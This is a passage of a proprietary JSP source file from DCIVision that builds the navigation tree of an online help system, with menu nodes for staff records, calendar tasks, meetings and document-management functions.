<%
/*
 * @(#)HelpIndex.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision   Ltd.
 */

/**

  HelpIndex.jsp

  This is a index page of Online Help.

    @author             Tony Lee
    @company            DCIVision Ltd
    @creation date      16/06/2004
    @version            $Revision: 1.21.4.4 $

*/
%>

<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.SysFunction" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>

<%
  int parentID = request.getParameter("parentID") != null ?  Integer.parseInt(request.getParameter("parentID")) : 0;
  String functionCode = request.getParameter("functionCode") != null ? request.getParameter("functionCode") : null;
  String functionID = null;
  if ( (functionCode != null) && (functionCode.length() > 0) ) {
    if ((applicationContainer.getSysFunctionByFunctionCode(functionCode)) == null) {
      functionID = "0";
    } else {
      functionID = (applicationContainer.getSysFunctionByFunctionCode(functionCode)).getID().toString();
    }
  } else {
    functionID = "0";
  }
%>

<html>
<head>
  <title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Cache-Control" content="no-cache">
  <meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
<!-- Common Javascript Begin -->
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="JavaScript">
<!--
function openDefaultNode() {
<%if (!"0".equals(functionID)) {%>
    //webFXTreeHandler.select(node<%=functionID%>);
    webFXTreeHandler.focus(node<%=functionID%>);
<%}%>
}
//-->
</script>
</head>

<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="InitializeAction();openDefaultNode();">
<div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<table width="150" border="0" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" colspan="2">
  <!-- Hierarchy Tree Begin -->
  <script language="JavaScript">
  <!--
  if (document.getElementById) {
    webFXTreeConfig.rootIcon        = "<html:img src='IconDMSTreeRoot.gif' pathOnly='true'/>";
    webFXTreeConfig.openRootIcon    = "<html:img src='IconDMSTreeRoot.gif' pathOnly='true'/>";
    webFXTreeConfig.folderIcon      = "<html:img src='IconHelpMain.gif' pathOnly='true'/>";
    webFXTreeConfig.openFolderIcon  = "<html:img src='IconHelpMain.gif' pathOnly='true'/>";
    webFXTreeHandler.currentID      = "<%=functionID%>";

    var node0 = new WebFXTree('<%=TextUtility.replaceString(MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.name"),"'","\\'")%>', 'javascript:goTarget(\'HelpContent.jsp?functionCode=\');', '0');
    node0.setBehavior('explorer');

    <%
    try {
      int grandParentID = 0;
      String getFunctionCode = null;

      List menu = (List)sessionContainer.getAccessibleSystemFunction();

      for ( int i=0; i<menu.size(); i++ ) {
        SysFunction sysFunction = (SysFunction)menu.get(i);
        // find parent id of the parent for going back

        if ( sysFunction.getID().intValue()==parentID ) {
          grandParentID = sysFunction.getParentID().intValue();
        }
        getFunctionCode = sysFunction.getFunctionCode();

        if (sysFunction.getParentID().intValue() != 0) {
        %>
          var nodeUrl<%=sysFunction.getID()%> = "HelpContent.jsp?functionCode=<%=getFunctionCode%>&childFunctionCode=";
          var node<%=sysFunction.getID()%> = new WebFXTreeItem('<%=TextUtility.replaceString(sysFunction.getFunctionNameByLocale(sessionContainer.getSessionLocale()),"'","\\'")%>', 'javascript:goTarget(nodeUrl<%=sysFunction.getID()%>);', '<%=sysFunction.getID()%>', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');

          if ( "<%=sysFunction.getID()%>" == "3001" ) {
            var nodeUrl30011 = "HelpContent.jsp?functionCode=STF_STAFF_RECORD&childFunctionCode=STF_STAFF_RECORD_CREATE";
            var node30011 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.create.staff.record.name")%>', 'javascript:goTarget(nodeUrl30011);', '30011', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl30012 = "HelpContent.jsp?functionCode=STF_STAFF_RECORD&childFunctionCode=STF_STAFF_RECORD_EDIT";
            var node30012 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.edit.staff.record.name")%>', 'javascript:goTarget(nodeUrl30012);', '30012', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl30013 = "HelpContent.jsp?functionCode=STF_STAFF_RECORD&childFunctionCode=STF_STAFF_RECORD_DELETE";
            var node30013 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.del.staff.record.name")%>', 'javascript:goTarget(nodeUrl30013);', '30013', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
          }

          if ( "<%=sysFunction.getID()%>" == "5001" ) {
            var nodeUrl50011 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_TODO";
            var node50011 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.manage.todo.list.name")%>', 'javascript:goTarget(nodeUrl50011);', '50011', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl500111 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_CREATE_TODO_LIST";
            var node500111 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.create.todo.list.name")%>', 'javascript:goTarget(nodeUrl500111);', '500111', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl500112 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_EDIT_TODO_LIST";
            var node500112 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.edit.todo.list.name")%>', 'javascript:goTarget(nodeUrl500112);', '500112', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl500113 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_DELETE_TODO_LIST";
            var node500113 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.del.todo.list.name")%>', 'javascript:goTarget(nodeUrl500113);', '500113', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');

            var nodeUrl50012 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_EVENT";
            var node50012 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.manage.event.name")%>', 'javascript:goTarget(nodeUrl50012);', '50012', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl500121 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_CREATE_EVENT";
            var node500121 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.create.event.name")%>', 'javascript:goTarget(nodeUrl500121);', '500121', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl500122 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_EDIT_EVENT";
            var node500122 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.edit.event.name")%>', 'javascript:goTarget(nodeUrl500122);', '500122', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl500123 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_DELETE_EVENT";
            var node500123 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.del.event.name")%>', 'javascript:goTarget(nodeUrl500123);', '500123', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');

            var nodeUrl50013 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_MEETING";
            var node50013 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.manage.meeting.name")%>', 'javascript:goTarget(nodeUrl50013);', '50013', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl500131 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_CREATE_MEETING";
            var node500131 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.create.meeting.name")%>', 'javascript:goTarget(nodeUrl500131);', '500131', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl500132 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_EDIT_MEETING";
            var node500132 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.edit.meeting.name")%>', 'javascript:goTarget(nodeUrl500132);', '500132', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl500133 = "HelpContent.jsp?functionCode=SCH_CALENDAR&childFunctionCode=SCH_CALENDAR_DELETE_MEETING";
            var node500133 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.del.meeting.name")%>', 'javascript:goTarget(nodeUrl500133);', '500133', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
          }

          if ( "<%=sysFunction.getID()%>" == "6001" ) {
            var nodeUrl60011 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PERSONAL_FOLDER_CONTENT";
            var node60011 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.content.personal.folder.name")%>', 'javascript:goTarget(nodeUrl60011);', '60011', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl60012 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DOC_INDEX_MANAGAMENT";
            var node60012 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.document.index.management.name")%>', 'javascript:goTarget(nodeUrl60012);', '60012', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl60013 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_FOLDR_MANAGEMANT";
            var node60013 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.folder.management.name")%>', 'javascript:goTarget(nodeUrl60013);', '60013', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl60014 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DOC_MANAGEMENT";
            var node60014 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.document.management.name")%>', 'javascript:goTarget(nodeUrl60014);', '60014', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001401 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_CREATE_DOC";
            var node6001401 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.create.document.name")%>', 'javascript:goTarget(nodeUrl6001401);', '6001401', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001402 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_EDIT_INDEX";
            var node6001402 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.edit.index.name")%>', 'javascript:goTarget(nodeUrl6001402);', '6001402', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001403 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_RENAME_DOC";
            var node6001403 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.rename.document.name")%>', 'javascript:goTarget(nodeUrl6001403);', '6001403', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001404 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_COPY_DOC";
            var node6001404 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.copy.document.name")%>', 'javascript:goTarget(nodeUrl6001404);', '6001404', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001405 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_MOVE_DOC";
            var node6001405 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.move.document.name")%>', 'javascript:goTarget(nodeUrl6001405);', '6001405', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001406 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_DELETE_DOC";
            var node6001406 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.del.document.name")%>', 'javascript:goTarget(nodeUrl6001406);', '6001406', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001414 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_SHORT_CUT";
            var node6001414 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.shortcut.name")%>', 'javascript:goTarget(nodeUrl6001414);', '6001414', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001408 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_CHECKIN_DOC";
            var node6001408 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.checkin.document.name")%>', 'javascript:goTarget(nodeUrl6001408);', '6001408', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001409 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_EMAIL_DOC";
            var node6001409 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.email.document.name")%>', 'javascript:goTarget(nodeUrl6001409);', '6001409', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001410 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_LIST_DOC_VERSION";
            var node6001410 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.list.document.version.name")%>', 'javascript:goTarget(nodeUrl6001410);', '6001410', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001411 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_DOC_RELATIONSHIP";
            var node6001411 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.document.relationship.name")%>', 'javascript:goTarget(nodeUrl6001411);', '6001411', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001413 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_MANAGEMENT_DOC_SHARE_INVITE";
            var node6001413 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.management.document.sharing.name")%>', 'javascript:goTarget(nodeUrl6001413);', '6001413', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl60015 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_SEARCHING";
            var node60015 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.search.name")%>', 'javascript:goTarget(nodeUrl60015);', '60015', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001501 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_SRH_BASIC";
            var node6001501 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.basic.search.name")%>', 'javascript:goTarget(nodeUrl6001501);', '6001501', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001502 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_SRH_ADVANCE";
            var node6001502 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.advance.search.name")%>', 'javascript:goTarget(nodeUrl6001502);', '6001502', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6001503 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_SRH_KEYWORD";
            var node6001503 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.keyword.search.name")%>', 'javascript:goTarget(nodeUrl6001503);', '6001503', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
          }
          if ( "<%=sysFunction.getID()%>" == "6002" ) {
            var nodeUrl60021 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PERSONAL_FOLDER_CONTENT";
            var node60021 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.content.personal.folder.name")%>', 'javascript:goTarget(nodeUrl60021);', '60021', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl60022 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DOC_INDEX_MANAGAMENT";
            var node60022 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.document.index.management.name")%>', 'javascript:goTarget(nodeUrl60022);', '60022', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl60023 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_FOLDR_MANAGEMANT";
            var node60023 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.folder.management.name")%>', 'javascript:goTarget(nodeUrl60023);', '60023', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl60024 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DOC_MANAGEMENT";
            var node60024 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.document.management.name")%>', 'javascript:goTarget(nodeUrl60024);', '60024', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002401 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_CREATE_DOC";
            var node6002401 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.create.document.name")%>', 'javascript:goTarget(nodeUrl6002401);', '6002401', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002402 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_EDIT_INDEX";
            var node6002402 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.edit.index.name")%>', 'javascript:goTarget(nodeUrl6002402);', '6002402', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002403 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_RENAME_DOC";
            var node6002403 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.rename.document.name")%>', 'javascript:goTarget(nodeUrl6002403);', '6002403', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002404 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_COPY_DOC";
            var node6002404 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.copy.document.name")%>', 'javascript:goTarget(nodeUrl6002404);', '6002404', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002405 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_MOVE_DOC";
            var node6002405 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.move.document.name")%>', 'javascript:goTarget(nodeUrl6002405);', '6002405', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002406 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_DELETE_DOC";
            var node6002406 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.del.document.name")%>', 'javascript:goTarget(nodeUrl6002406);', '6002406', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002414 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_SHORT_CUT";
            var node6002414 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.shortcut.name")%>', 'javascript:goTarget(nodeUrl6002414);', '6002414', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002408 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_CHECKIN_DOC";
            var node6002408 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.checkin.document.name")%>', 'javascript:goTarget(nodeUrl6002408);', '6002408', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002409 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_EMAIL_DOC";
            var node6002409 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.email.document.name")%>', 'javascript:goTarget(nodeUrl6002409);', '6002409', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002410 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_LIST_DOC_VERSION";
            var node6002410 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.list.document.version.name")%>', 'javascript:goTarget(nodeUrl6002410);', '6002410', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002411 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_DM_DOC_RELATIONSHIP";
            var node6002411 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.document.relationship.name")%>', 'javascript:goTarget(nodeUrl6002411);', '6002411', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl6002413 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_MANAGEMENT_DOC_SHARE_INVITE";
            var node6002413 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.management.document.sharing.name")%>', 'javascript:goTarget(nodeUrl6002413);', '6002413', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
            var nodeUrl60025 = "HelpContent.jsp?functionCode=DMS_PERSONAL_FOLDER&childFunctionCode=DMS_PF_SEARCHING";
            var node60025 = new WebFXTreeItem('<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "help.header.search.name")%>', 'javascript:goTarget(nodeUrl60025);', '60025', '', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>', '<html:img src='IconHelpSub.gif'  pathOnly='true'/>');
